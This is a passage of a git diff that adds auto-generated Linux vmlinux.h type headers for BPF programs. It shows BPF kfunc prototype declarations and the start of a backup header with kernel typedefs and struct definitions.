void *, int, const void *); + +typedef void (*synth_probe_func_t)(void *, u64 *, unsigned int *); + +typedef long (*sys_call_ptr_t)(const struct pt_regs *); + +typedef int (*task_call_f)(struct task_struct *, void *); + +typedef void (*task_work_func_t)(struct callback_head *); + +typedef void text_poke_f(void *, const void *, size_t); + +typedef int (*tg_visitor)(struct task_group *, void *); + +typedef struct sock * (*udp_lookup_t)(const struct sk_buff *, __be16, __be16); + +typedef bool (*up_f)(struct tmigr_group *, struct tmigr_group *, struct tmigr_walk *); + +typedef int wait_bit_action_f(struct wait_bit_key *, int); + +typedef int (*writepage_t)(struct folio *, struct writeback_control *, void *); + +typedef void (*xhci_get_quirks_t)(struct device *, struct xhci_hcd *); + +struct nf_bridge_frag_data; + +struct bpf_iter; + +struct creds; + +struct rsync_pages; + + +/* BPF kfuncs */ +#ifndef BPF_NO_KFUNC_PROTOTYPES +extern s32 scx_bpf_select_cpu_dfl(struct task_struct *p, s32 prev_cpu, u64 wake_flags, bool *is_idle) __weak __ksym; +extern void scx_bpf_dispatch(struct task_struct *p, u64 dsq_id, u64 slice, u64 enq_flags) __weak __ksym; +extern void scx_bpf_dispatch_vtime(struct task_struct *p, u64 dsq_id, u64 slice, u64 vtime, u64 enq_flags) __weak __ksym; +extern u32 scx_bpf_dispatch_nr_slots(void) __weak __ksym; +extern void scx_bpf_dispatch_cancel(void) __weak __ksym; +extern bool scx_bpf_consume(u64 dsq_id) __weak __ksym; +extern void scx_bpf_dispatch_from_dsq_set_slice(struct bpf_iter_scx_dsq *it__iter, u64 slice) __weak __ksym; +extern void scx_bpf_dispatch_from_dsq_set_vtime(struct bpf_iter_scx_dsq *it__iter, u64 vtime) __weak __ksym; +extern bool scx_bpf_dispatch_from_dsq(struct bpf_iter_scx_dsq *it__iter, struct task_struct *p, u64 dsq_id, u64 enq_flags) __weak __ksym; +extern bool scx_bpf_dispatch_vtime_from_dsq(struct bpf_iter_scx_dsq *it__iter, struct task_struct *p, u64 dsq_id, u64 enq_flags) __weak __ksym; +extern u32 scx_bpf_reenqueue_local(void) __weak __ksym; +extern s32 scx_bpf_create_dsq(u64 dsq_id, s32 node) __weak __ksym; +extern void scx_bpf_kick_cpu(s32 cpu, u64 flags) __weak __ksym; +extern s32 scx_bpf_dsq_nr_queued(u64 dsq_id) __weak __ksym; +extern void scx_bpf_destroy_dsq(u64 dsq_id) __weak __ksym; +extern int bpf_iter_scx_dsq_new(struct bpf_iter_scx_dsq *it, u64 dsq_id, u64 flags) __weak __ksym; +extern struct task_struct *bpf_iter_scx_dsq_next(struct bpf_iter_scx_dsq *it) __weak __ksym; +extern void bpf_iter_scx_dsq_destroy(struct bpf_iter_scx_dsq *it) __weak __ksym; +extern void scx_bpf_exit_bstr(s64 exit_code, char *fmt, unsigned long long *data, u32 data__sz) __weak __ksym; +extern void scx_bpf_error_bstr(char *fmt, unsigned long long *data, u32 data__sz) __weak __ksym; +extern void scx_bpf_dump_bstr(char *fmt, unsigned long long *data, u32 data__sz) __weak __ksym; +extern u32 scx_bpf_cpuperf_cap(s32 cpu) __weak __ksym; +extern u32 scx_bpf_cpuperf_cur(s32 cpu) __weak __ksym; +extern void scx_bpf_cpuperf_set(s32 cpu, u32 perf) __weak __ksym; +extern u32 scx_bpf_nr_cpu_ids(void) __weak __ksym; +extern const struct cpumask *scx_bpf_get_possible_cpumask(void) __weak __ksym; +extern const struct cpumask *scx_bpf_get_online_cpumask(void) __weak __ksym; +extern void scx_bpf_put_cpumask(const struct cpumask *cpumask) __weak __ksym; +extern const struct cpumask *scx_bpf_get_idle_cpumask(void) __weak __ksym; +extern const struct cpumask *scx_bpf_get_idle_smtmask(void) __weak __ksym; +extern void scx_bpf_put_idle_cpumask(const struct cpumask *idle_mask) __weak __ksym; +extern bool scx_bpf_test_and_clear_cpu_idle(s32 cpu) __weak __ksym; +extern s32 scx_bpf_pick_idle_cpu(const struct cpumask *cpus_allowed, u64 flags) __weak __ksym; +extern s32 scx_bpf_pick_any_cpu(const struct cpumask *cpus_allowed, u64 flags) __weak __ksym; +extern bool scx_bpf_task_running(const struct task_struct *p) __weak __ksym; +extern s32 scx_bpf_task_cpu(const struct task_struct *p) __weak __ksym; +extern struct rq *scx_bpf_cpu_rq(s32 cpu) __weak __ksym; +extern struct cgroup *scx_bpf_task_cgroup(struct task_struct *p) __weak __ksym; +extern void cgroup_rstat_updated(struct cgroup *cgrp, int cpu) __weak __ksym; +extern void cgroup_rstat_flush(struct cgroup *cgrp) __weak __ksym; +extern struct bpf_key *bpf_lookup_user_key(u32 serial, u64 flags) __weak __ksym; +extern struct bpf_key *bpf_lookup_system_key(u64 id) __weak __ksym; +extern void bpf_key_put(struct bpf_key *bkey) __weak __ksym; +extern int bpf_verify_pkcs7_signature(struct bpf_dynptr *data_p, struct bpf_dynptr *sig_p, struct bpf_key *trusted_keyring) __weak __ksym; +extern bool bpf_session_is_return(void) __weak __ksym; +extern __u64 *bpf_session_cookie(void) __weak __ksym; +extern void crash_kexec(struct pt_regs *regs) __weak __ksym; +extern void *bpf_obj_new_impl(u64 local_type_id__k, void *meta__ign) __weak __ksym; +extern void *bpf_percpu_obj_new_impl(u64 local_type_id__k, void *meta__ign) __weak __ksym; +extern void bpf_obj_drop_impl(void *p__alloc, void *meta__ign) __weak __ksym; +extern void bpf_percpu_obj_drop_impl(void *p__alloc, void *meta__ign) __weak __ksym; +extern void *bpf_refcount_acquire_impl(void *p__refcounted_kptr, void *meta__ign) __weak __ksym; +extern int bpf_list_push_front_impl(struct bpf_list_head *head, struct bpf_list_node *node, void *meta__ign, u64 off) __weak __ksym; +extern int bpf_list_push_back_impl(struct bpf_list_head *head, struct bpf_list_node *node, void *meta__ign, u64 off) __weak __ksym; +extern struct bpf_list_node *bpf_list_pop_front(struct bpf_list_head *head) __weak __ksym; +extern struct bpf_list_node *bpf_list_pop_back(struct bpf_list_head *head) __weak __ksym; +extern struct task_struct *bpf_task_acquire(struct task_struct *p) __weak __ksym; +extern void bpf_task_release(struct task_struct *p) __weak __ksym; +extern struct bpf_rb_node *bpf_rbtree_remove(struct bpf_rb_root *root, struct bpf_rb_node *node) __weak __ksym; +extern int bpf_rbtree_add_impl(struct bpf_rb_root *root, struct bpf_rb_node *node, bool (*less)(struct bpf_rb_node *, const struct bpf_rb_node *), void *meta__ign, u64 off) __weak __ksym; +extern struct bpf_rb_node *bpf_rbtree_first(struct bpf_rb_root *root) __weak __ksym; +extern struct cgroup *bpf_cgroup_acquire(struct cgroup *cgrp) __weak __ksym; +extern void bpf_cgroup_release(struct cgroup *cgrp) __weak __ksym; +extern struct cgroup *bpf_cgroup_ancestor(struct cgroup *cgrp, int level) __weak __ksym; +extern struct cgroup *bpf_cgroup_from_id(u64 cgid) __weak __ksym; +extern long bpf_task_under_cgroup(struct task_struct *task, struct cgroup *ancestor) __weak __ksym; +extern struct cgroup *bpf_task_get_cgroup1(struct task_struct *task, int hierarchy_id) __weak __ksym; +extern struct task_struct *bpf_task_from_pid(s32 pid) __weak __ksym; +extern void bpf_throw(u64 cookie) __weak __ksym; +extern void *bpf_cast_to_kern_ctx(void *obj) __weak __ksym; +extern void *bpf_rdonly_cast(const void *obj__ign, u32 btf_id__k) __weak __ksym; +extern void bpf_rcu_read_lock(void) __weak __ksym; +extern void bpf_rcu_read_unlock(void) __weak __ksym; +extern void *bpf_dynptr_slice(const struct bpf_dynptr *p, u32 offset, void *buffer__opt, u32 buffer__szk) __weak __ksym; +extern void *bpf_dynptr_slice_rdwr(const struct bpf_dynptr *p, u32 offset, void *buffer__opt, u32 buffer__szk) __weak __ksym; +extern int bpf_iter_num_new(struct bpf_iter_num *it, int start, int end) __weak __ksym; +extern int *bpf_iter_num_next(struct bpf_iter_num *it) __weak __ksym; +extern void bpf_iter_num_destroy(struct bpf_iter_num *it) __weak __ksym; +extern int bpf_iter_task_vma_new(struct bpf_iter_task_vma *it, struct task_struct *task, u64 addr) __weak __ksym; +extern struct vm_area_struct *bpf_iter_task_vma_next(struct bpf_iter_task_vma *it) __weak __ksym; +extern void bpf_iter_task_vma_destroy(struct bpf_iter_task_vma *it) __weak __ksym; +extern int bpf_iter_css_task_new(struct bpf_iter_css_task *it, struct cgroup_subsys_state *css, unsigned int flags) __weak __ksym; +extern struct task_struct *bpf_iter_css_task_next(struct bpf_iter_css_task *it) __weak __ksym; +extern void bpf_iter_css_task_destroy(struct bpf_iter_css_task *it) __weak __ksym; +extern int bpf_iter_css_new(struct bpf_iter_css *it, struct cgroup_subsys_state *start, unsigned int flags) __weak __ksym; +extern struct cgroup_subsys_state *bpf_iter_css_next(struct bpf_iter_css *it) __weak __ksym; +extern void bpf_iter_css_destroy(struct bpf_iter_css *it) __weak __ksym; +extern int bpf_iter_task_new(struct bpf_iter_task *it, struct task_struct *task__nullable, unsigned int flags) __weak __ksym; +extern struct task_struct *bpf_iter_task_next(struct bpf_iter_task *it) __weak __ksym; +extern void bpf_iter_task_destroy(struct bpf_iter_task *it) __weak __ksym; +extern int bpf_dynptr_adjust(const struct bpf_dynptr *p, u32 start, u32 end) __weak __ksym; +extern bool bpf_dynptr_is_null(const struct bpf_dynptr *p) __weak __ksym; +extern bool bpf_dynptr_is_rdonly(const struct bpf_dynptr *p) __weak __ksym; +extern __u32 bpf_dynptr_size(const struct bpf_dynptr *p) __weak __ksym; +extern int bpf_dynptr_clone(const struct bpf_dynptr *p, struct bpf_dynptr *clone__uninit) __weak __ksym; +extern int bpf_modify_return_test_tp(int nonce) __weak __ksym; +extern int bpf_wq_init(struct bpf_wq *wq, void *p__map, unsigned int flags) __weak __ksym; +extern int bpf_wq_set_callback_impl(struct bpf_wq *wq, int (*callback_fn)(void *, int *, void *), unsigned int flags, void *aux__ign) __weak __ksym; +extern int bpf_wq_start(struct bpf_wq *wq, unsigned int flags) __weak __ksym; +extern void bpf_preempt_disable(void) __weak __ksym; +extern void bpf_preempt_enable(void) __weak __ksym; +extern int bpf_iter_bits_new(struct bpf_iter_bits *it, const u64 *unsafe_ptr__ign, u32 nr_words) __weak __ksym; +extern int *bpf_iter_bits_next(struct bpf_iter_bits *it) __weak __ksym; +extern void bpf_iter_bits_destroy(struct bpf_iter_bits *it) __weak __ksym; +extern int bpf_copy_from_user_str(void *dst, u32 dst__sz, const void __attribute__((btf_type_tag("user"))) *unsafe_ptr__ign, u64 flags) __weak __ksym; +extern s64 bpf_map_sum_elem_count(const struct bpf_map *map) __weak __ksym; +extern void *bpf_arena_alloc_pages(void *p__map, void *addr__ign, u32 page_cnt, int node_id, u64 flags) __weak __ksym; +extern void bpf_arena_free_pages(void *p__map, void *ptr__ign, u32 page_cnt) __weak __ksym; +extern struct bpf_cpumask *bpf_cpumask_create(void) __weak __ksym; +extern void bpf_cpumask_release(struct bpf_cpumask *cpumask) __weak __ksym; +extern struct bpf_cpumask *bpf_cpumask_acquire(struct bpf_cpumask *cpumask) __weak __ksym; +extern u32 bpf_cpumask_first(const struct cpumask *cpumask) __weak __ksym; +extern u32 bpf_cpumask_first_zero(const struct cpumask *cpumask) __weak __ksym; +extern u32 bpf_cpumask_first_and(const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern void bpf_cpumask_set_cpu(u32 cpu, struct bpf_cpumask *cpumask) __weak __ksym; +extern void bpf_cpumask_clear_cpu(u32 cpu, struct bpf_cpumask *cpumask) __weak __ksym; +extern bool bpf_cpumask_test_cpu(u32 cpu, const struct cpumask *cpumask) __weak __ksym; +extern bool bpf_cpumask_test_and_set_cpu(u32 cpu, struct bpf_cpumask *cpumask) __weak __ksym; +extern bool bpf_cpumask_test_and_clear_cpu(u32 cpu, struct bpf_cpumask *cpumask) __weak __ksym; +extern void bpf_cpumask_setall(struct bpf_cpumask *cpumask) __weak __ksym; +extern void bpf_cpumask_clear(struct bpf_cpumask *cpumask) __weak __ksym; +extern bool bpf_cpumask_and(struct bpf_cpumask *dst, const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern void bpf_cpumask_or(struct bpf_cpumask *dst, const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern void bpf_cpumask_xor(struct bpf_cpumask *dst, const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern bool bpf_cpumask_equal(const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern bool bpf_cpumask_intersects(const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern bool bpf_cpumask_subset(const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern bool bpf_cpumask_empty(const struct cpumask *cpumask) __weak __ksym; +extern bool bpf_cpumask_full(const struct cpumask *cpumask) __weak __ksym; +extern void bpf_cpumask_copy(struct bpf_cpumask *dst, const struct cpumask *src) __weak __ksym; +extern u32 bpf_cpumask_any_distribute(const struct cpumask *cpumask) __weak __ksym; +extern u32 bpf_cpumask_any_and_distribute(const struct cpumask *src1, const struct cpumask *src2) __weak __ksym; +extern u32 bpf_cpumask_weight(const struct cpumask *cpumask) __weak __ksym; +extern struct bpf_crypto_ctx *bpf_crypto_ctx_create(const struct bpf_crypto_params *params, u32 params__sz, int *err) __weak __ksym; +extern void bpf_crypto_ctx_release(struct bpf_crypto_ctx *ctx) __weak __ksym; +extern struct bpf_crypto_ctx *bpf_crypto_ctx_acquire(struct bpf_crypto_ctx *ctx) __weak __ksym; +extern int bpf_crypto_decrypt(struct bpf_crypto_ctx *ctx, const struct bpf_dynptr *src, const struct bpf_dynptr *dst, const struct bpf_dynptr *siv__nullable) __weak __ksym; +extern int bpf_crypto_encrypt(struct bpf_crypto_ctx *ctx, const struct bpf_dynptr *src, const struct bpf_dynptr *dst, const struct bpf_dynptr *siv__nullable) __weak __ksym; +extern int bpf_dynptr_from_skb(struct __sk_buff *s, u64 flags, struct bpf_dynptr *ptr__uninit) __weak __ksym; +extern int bpf_dynptr_from_xdp(struct xdp_md *x, u64 flags, struct bpf_dynptr *ptr__uninit) __weak __ksym; +extern int bpf_sock_addr_set_sun_path(struct bpf_sock_addr_kern *sa_kern, const u8 *sun_path, u32 sun_path__sz) __weak __ksym; +extern int bpf_sk_assign_tcp_reqsk(struct __sk_buff *s, struct sock *sk, struct bpf_tcp_req_attrs *attrs, int attrs__sz) __weak __ksym; +extern int bpf_sock_destroy(struct sock_common *sock) __weak __ksym; +extern int bpf_xdp_metadata_rx_timestamp(const struct xdp_md *ctx, u64 *timestamp) __weak __ksym; +extern int bpf_xdp_metadata_rx_hash(const struct xdp_md *ctx, u32 *hash, enum xdp_rss_hash_type *rss_type) __weak __ksym; +extern int bpf_xdp_metadata_rx_vlan_tag(const struct xdp_md *ctx, __be16 *vlan_proto, u16 *vlan_tci) __weak __ksym; +extern int bpf_modify_return_test(int a, int *b) __weak __ksym; +extern int bpf_modify_return_test2(int a, int *b, short c, int d, void *e, char f, int g) __weak __ksym; +extern int bpf_fentry_test1(int a) __weak __ksym; +extern void bpf_kfunc_call_test_release(struct prog_test_ref_kfunc *p) __weak __ksym; +extern void bpf_kfunc_call_memb_release(struct prog_test_member *p) __weak __ksym; +extern struct nf_conn___init *bpf_xdp_ct_alloc(struct xdp_md *xdp_ctx, struct bpf_sock_tuple *bpf_tuple, u32 tuple__sz, struct bpf_ct_opts *opts, u32 opts__sz) __weak __ksym; +extern struct nf_conn *bpf_xdp_ct_lookup(struct xdp_md *xdp_ctx, struct bpf_sock_tuple *bpf_tuple, u32 tuple__sz, struct bpf_ct_opts *opts, u32 opts__sz) __weak __ksym; +extern struct nf_conn___init *bpf_skb_ct_alloc(struct __sk_buff *skb_ctx, struct bpf_sock_tuple *bpf_tuple, u32 tuple__sz, struct bpf_ct_opts *opts, u32 opts__sz) __weak __ksym; +extern struct nf_conn *bpf_skb_ct_lookup(struct __sk_buff *skb_ctx, struct bpf_sock_tuple *bpf_tuple, u32 tuple__sz, struct bpf_ct_opts *opts, u32 opts__sz) __weak __ksym; +extern struct nf_conn *bpf_ct_insert_entry(struct nf_conn___init *nfct_i) __weak __ksym; +extern void bpf_ct_release(struct nf_conn *nfct) __weak __ksym; +extern void bpf_ct_set_timeout(struct nf_conn___init *nfct, u32 timeout) __weak __ksym; +extern int bpf_ct_change_timeout(struct nf_conn *nfct, u32 timeout) __weak __ksym; +extern int bpf_ct_set_status(const struct nf_conn___init *nfct, u32 status) __weak __ksym; +extern int bpf_ct_change_status(struct nf_conn *nfct, u32 status) __weak __ksym; +extern int bpf_ct_set_nat_info(struct nf_conn___init *nfct, union nf_inet_addr *addr, int port, enum nf_nat_manip_type manip) __weak __ksym; +extern void cubictcp_init(struct sock *sk) __weak __ksym; +extern u32 cubictcp_recalc_ssthresh(struct sock *sk) __weak __ksym; +extern void cubictcp_cong_avoid(struct sock *sk, u32 ack, u32 acked) __weak __ksym; +extern void cubictcp_state(struct sock *sk, u8 new_state) __weak __ksym; +extern void cubictcp_cwnd_event(struct sock *sk, enum tcp_ca_event event) __weak __ksym; +extern void cubictcp_acked(struct sock *sk, const struct ack_sample *sample) __weak __ksym; +extern u32 tcp_reno_ssthresh(struct sock *sk) __weak __ksym; +extern void tcp_reno_cong_avoid(struct sock *sk, u32 ack, u32 acked) __weak __ksym; +extern u32 tcp_reno_undo_cwnd(struct sock *sk) __weak __ksym; +extern u32 tcp_slow_start(struct tcp_sock *tp, u32 acked) __weak __ksym; +extern void tcp_cong_avoid_ai(struct tcp_sock *tp, u32 w, u32 acked) __weak __ksym; +#endif + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +#endif /* __VMLINUX_H__ */ diff --git a/src/third_party/vmlinux/x86/vmlinux_601.h.bak b/src/third_party/vmlinux/x86/vmlinux_601.h.bak new file mode 100644 index 00000000..c993b1de --- /dev/null +++ b/src/third_party/vmlinux/x86/vmlinux_601.h.bak @@ -0,0 +1,102926 @@ +#ifndef __VMLINUX_H__ +#define __VMLINUX_H__ + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + +typedef signed char __s8; + +typedef unsigned char __u8; + +typedef short int __s16; + +typedef short unsigned int __u16; + +typedef int __s32; + +typedef unsigned int __u32; + +typedef long long int __s64; + +typedef long long unsigned int __u64; + +typedef __s8 s8; + +typedef __u8 u8; + +typedef __s16 s16; + +typedef __u16 u16; + +typedef __s32 s32; + +typedef __u32 u32; + +typedef __s64 s64; + +typedef __u64 u64; + +enum { + false = 0, + true = 1, +}; + +typedef long int __kernel_long_t; + +typedef long unsigned int __kernel_ulong_t; + +typedef int __kernel_pid_t; + +typedef unsigned int __kernel_uid32_t; + +typedef unsigned int __kernel_gid32_t; + +typedef __kernel_ulong_t __kernel_size_t; + +typedef __kernel_long_t __kernel_ssize_t; + +typedef long long int __kernel_loff_t; + +typedef long long int __kernel_time64_t; + +typedef __kernel_long_t __kernel_clock_t; + +typedef int __kernel_timer_t; + +typedef int __kernel_clockid_t; + +typedef unsigned int __poll_t; + +typedef u32 __kernel_dev_t; + +typedef __kernel_dev_t dev_t; + +typedef short unsigned int umode_t; + +typedef __kernel_pid_t pid_t; + +typedef __kernel_clockid_t clockid_t; + +typedef _Bool bool; + +typedef __kernel_uid32_t uid_t; + +typedef __kernel_gid32_t gid_t; + +typedef long unsigned int uintptr_t; + +typedef __kernel_loff_t loff_t; + +typedef __kernel_size_t size_t; + +typedef __kernel_ssize_t ssize_t; + +typedef s32 int32_t; + +typedef u32 uint32_t; + +typedef u64 sector_t; + +typedef u64 blkcnt_t; + +typedef unsigned int gfp_t; + +typedef unsigned int fmode_t; + +typedef u64 phys_addr_t; + +typedef phys_addr_t resource_size_t; + +typedef struct { + int counter; +} atomic_t; + +typedef struct { + s64 counter; +} atomic64_t; + +struct list_head { + struct list_head *next; + struct list_head *prev; +}; + +struct hlist_node; + +struct hlist_head { + struct hlist_node *first; +}; + +struct hlist_node { + struct hlist_node *next; + struct hlist_node **pprev; +}; + +struct callback_head { + struct callback_head *next; + void (*func)(struct callback_head *); +}; + +struct kernel_symbol { + int value_offset; + int name_offset; + int namespace_offset; +}; + +struct cacheline_padding { + char x[0]; +}; + +typedef __s64 time64_t; + +struct __kernel_timespec { + __kernel_time64_t tv_sec; + long long int tv_nsec; +}; + +struct timezone { + int tz_minuteswest; + int tz_dsttime; +}; + +struct timespec64 { + time64_t tv_sec; + long int tv_nsec; +}; + +typedef void (*exitcall_t)(); + +typedef int initcall_entry_t; + +struct lockdep_subclass_key { + char __one_byte; +}; + +struct lock_class_key { + union { + struct hlist_node hash_entry; + struct lockdep_subclass_key subkeys[8]; + }; +}; + +struct fs_context; + +struct fs_parameter_spec; + +struct dentry; + +struct super_block; + +struct module; + +struct file_system_type { + const char *name; + int fs_flags; + int (*init_fs_context)(struct fs_context *); + const struct fs_parameter_spec *parameters; + struct dentry * (*mount)(struct file_system_type *, int, const char *, void *); + void (*kill_sb)(struct super_block *); + struct module *owner; + struct file_system_type *next; + struct hlist_head fs_supers; + struct lock_class_key s_lock_key; + struct lock_class_key s_umount_key; + struct lock_class_key s_vfs_rename_key; + struct lock_class_key s_writers_key[3]; + struct lock_class_key i_lock_key; + struct lock_class_key i_mutex_key; + struct lock_class_key invalidate_lock_key; + struct lock_class_key i_mutex_dir_key; +}; + +struct screen_info { + __u8 orig_x; + __u8 orig_y; + __u16 ext_mem_k; + __u16 orig_video_page; + __u8 orig_video_mode; + __u8 orig_video_cols; + __u8 flags; + __u8 unused2; + __u16 orig_video_ega_bx; + __u16 unused3; + __u8 orig_video_lines; + __u8 orig_video_isVGA; + __u16 orig_video_points; + __u16 lfb_width; + __u16 lfb_height; + __u16 lfb_depth; + __u32 lfb_base; + __u32 lfb_size; + __u16 cl_magic; + __u16 cl_offset; + __u16 lfb_linelength; + __u8 red_size; + __u8 red_pos; + __u8 green_size; + __u8 green_pos; + __u8 blue_size; + __u8 blue_pos; + __u8 rsvd_size; + __u8 rsvd_pos; + __u16 vesapm_seg; + __u16 vesapm_off; + __u16 pages; + __u16 vesa_attributes; + __u32 capabilities; + __u32 ext_lfb_base; + __u8 _reserved[2]; +} __attribute__((packed)); + +struct apm_bios_info { + __u16 version; + __u16 cseg; + __u32 offset; + __u16 cseg_16; + __u16 dseg; + __u16 flags; + __u16 cseg_len; + __u16 cseg_16_len; + __u16 dseg_len; +}; + +struct apm_info { + struct apm_bios_info bios; + short unsigned int connection_version; + int get_power_status_broken; + int get_power_status_swabinminutes; + int allow_ints; + int forbid_idle; + int realmode_power_off; + int disabled; +}; + +struct edd_device_params { + __u16 length; + __u16 info_flags; + __u32 num_default_cylinders; + __u32 num_default_heads; + __u32 sectors_per_track; + __u64 number_of_sectors; + __u16 bytes_per_sector; + __u32 dpte_ptr; + __u16 key; + __u8 device_path_info_length; + __u8 reserved2; + __u16 reserved3; + __u8 host_bus_type[4]; + __u8 interface_type[8]; + union { + struct { + __u16 base_address; + __u16 reserved1; + __u32 reserved2; + } isa; + struct { + __u8 bus; + __u8 slot; + __u8 function; + __u8 channel; + __u32 reserved; + } pci; + struct { + __u64 reserved; + } ibnd; + struct { + __u64 reserved; + } xprs; + struct { + __u64 reserved; + } htpt; + struct { + __u64 reserved; + } unknown; + } interface_path; + union { + struct { + __u8 device; + __u8 reserved1; + __u16 reserved2; + __u32 reserved3; + __u64 reserved4; + } ata; + struct { + __u8 device; + __u8 lun; + __u8 reserved1; + __u8 reserved2; + __u32 reserved3; + __u64 reserved4; + } atapi; + struct { + __u16 id; + __u64 lun; + __u16 reserved1; + __u32 reserved2; + } __attribute__((packed)) scsi; + struct { + __u64 serial_number; + __u64 reserved; + } usb; + struct { + __u64 eui; + __u64 reserved; + } i1394; + struct { + __u64 wwid; + __u64 lun; + } fibre; + struct { + __u64 identity_tag; + __u64 reserved; + } i2o; + struct { + __u32 array_number; + __u32 reserved1; + __u64 reserved2; + } raid; + struct { + __u8 device; + __u8 reserved1; + __u16 reserved2; + __u32 reserved3; + __u64 reserved4; + } sata; + struct { + __u64 reserved1; + __u64 reserved2; + } unknown; + } device_path; + __u8 reserved4; + __u8 checksum; +} __attribute__((packed)); + +struct edd_info { + __u8 device; + __u8 version; + __u16 interface_support; + __u16 legacy_max_cylinder; + __u8 legacy_max_head; + __u8 legacy_sectors_per_track; + struct edd_device_params params; +}; + +struct edd { + unsigned int mbr_signature[16]; + struct edd_info edd_info[6]; + unsigned char mbr_signature_nr; + unsigned char edd_info_nr; +}; + +struct ist_info { + __u32 signature; + __u32 command; + __u32 event; + __u32 perf_level; +}; + +struct edid_info { + unsigned char dummy[128]; +}; + +struct pt_regs { + long unsigned int r15; + long unsigned int r14; + long unsigned int r13; + long unsigned int r12; + long unsigned int bp; + long unsigned int bx; + long unsigned int r11; + long unsigned int r10; + long unsigned int r9; + long unsigned int r8; + long unsigned int ax; + long unsigned int cx; + long unsigned int dx; + long unsigned int si; + long unsigned int di; + long unsigned int orig_ax; + long unsigned int ip; + long unsigned int cs; + long unsigned int flags; + long unsigned int sp; + long unsigned int ss; +}; + +struct math_emu_info { + long int ___orig_eip; + struct pt_regs *regs; +}; + +struct taint_flag { + char c_true; + char c_false; + bool module; +}; + +struct qspinlock { + union { + atomic_t val; + struct { + u8 locked; + u8 pending; + }; + struct { + u16 locked_pending; + u16 tail; + }; + }; +}; + +typedef struct qspinlock arch_spinlock_t; + +struct qrwlock { + union { + atomic_t cnts; + struct { + u8 wlocked; + u8 __lstate[3]; + }; + }; + arch_spinlock_t wait_lock; +}; + +typedef struct qrwlock arch_rwlock_t; + +enum lockdep_wait_type { + LD_WAIT_INV = 0, + LD_WAIT_FREE = 1, + LD_WAIT_SPIN = 2, + LD_WAIT_CONFIG = 2, + LD_WAIT_SLEEP = 3, + LD_WAIT_MAX = 4, +}; + +struct lock_trace; + +struct lock_class { + struct hlist_node hash_entry; + struct list_head lock_entry; + struct list_head locks_after; + struct list_head locks_before; + const struct lockdep_subclass_key *key; + unsigned int subclass; + unsigned int dep_gen_id; + long unsigned int usage_mask; + const struct lock_trace *usage_traces[10]; + int name_version; + const char *name; + u8 wait_type_inner; + u8 wait_type_outer; + u8 lock_type; +}; + +struct lock_trace { + struct hlist_node hash_entry; + u32 hash; + u32 nr_entries; + long unsigned int entries[0]; +}; + +struct lockdep_map { + struct lock_class_key *key; + struct lock_class *class_cache[2]; + const char *name; + u8 wait_type_outer; + u8 wait_type_inner; + u8 lock_type; +}; + +struct raw_spinlock { + arch_spinlock_t raw_lock; + unsigned int magic; + unsigned int owner_cpu; + void *owner; + struct lockdep_map dep_map; +}; + +typedef struct raw_spinlock raw_spinlock_t; + +struct ratelimit_state { + raw_spinlock_t lock; + int interval; + int burst; + int printed; + int missed; + long unsigned int begin; + long unsigned int flags; +}; + +typedef void *fl_owner_t; + +struct file; + +struct kiocb; + +struct iov_iter; + +struct io_comp_batch; + +struct dir_context; + +struct poll_table_struct; + +struct vm_area_struct; + +struct inode; + +struct file_lock; + +struct page; + +struct pipe_inode_info; + +struct seq_file; + +struct io_uring_cmd; + +struct file_operations { + struct module *owner; + loff_t (*llseek)(struct file *, loff_t, int); + ssize_t (*read)(struct file *, char *, size_t, loff_t *); + ssize_t (*write)(struct file *, const char *, size_t, loff_t *); + ssize_t (*read_iter)(struct kiocb *, struct iov_iter *); + ssize_t (*write_iter)(struct kiocb *, struct iov_iter *); + int (*iopoll)(struct kiocb *, struct io_comp_batch *, unsigned int); + int (*iterate)(struct file *, struct dir_context *); + int (*iterate_shared)(struct file *, struct dir_context *); + __poll_t (*poll)(struct file *, struct poll_table_struct *); + long int (*unlocked_ioctl)(struct file *, unsigned int, long unsigned int); + long int (*compat_ioctl)(struct file *, unsigned int, long unsigned int); + int (*mmap)(struct file *, struct vm_area_struct *); + long unsigned int mmap_supported_flags; + int (*open)(struct inode *, struct file *); + int (*flush)(struct file *, fl_owner_t); + int (*release)(struct inode *, struct file *); + int (*fsync)(struct file *, loff_t, loff_t, int); + int (*fasync)(int, struct file *, int); + int (*lock)(struct file *, int, struct file_lock *); + ssize_t (*sendpage)(struct file *, struct page *, int, size_t, loff_t *, int); + long unsigned int (*get_unmapped_area)(struct file *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + int (*check_flags)(int); + int (*flock)(struct file *, int, struct file_lock *); + ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); + ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); + int (*setlease)(struct file *, long int, struct file_lock **, void **); + long int (*fallocate)(struct file *, int, loff_t, loff_t); + void (*show_fdinfo)(struct seq_file *, struct file *); + ssize_t (*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int); + loff_t (*remap_file_range)(struct file *, loff_t, struct file *, loff_t, loff_t, unsigned int); + int (*fadvise)(struct file *, loff_t, loff_t, int); + int (*uring_cmd)(struct io_uring_cmd *, unsigned int); + int (*uring_cmd_iopoll)(struct io_uring_cmd *, struct io_comp_batch *, unsigned int); +}; + +struct static_call_site { + s32 addr; + s32 key; +}; + +struct static_call_mod { + struct static_call_mod *next; + struct module *mod; + struct static_call_site *sites; +}; + +struct static_call_key { + void *func; + union { + long unsigned int type; + struct static_call_mod *mods; + struct static_call_site *sites; + }; +}; + +enum system_states { + SYSTEM_BOOTING = 0, + SYSTEM_SCHEDULING = 1, + SYSTEM_FREEING_INITMEM = 2, + SYSTEM_RUNNING = 3, + SYSTEM_HALT = 4, + SYSTEM_POWER_OFF = 5, + SYSTEM_RESTART = 6, + SYSTEM_SUSPEND = 7, +}; + +enum ftrace_dump_mode { + DUMP_NONE = 0, + DUMP_ALL = 1, + DUMP_ORIG = 2, +}; + +struct thread_info { + long unsigned int flags; + long unsigned int syscall_work; + u32 status; + u32 cpu; +}; + 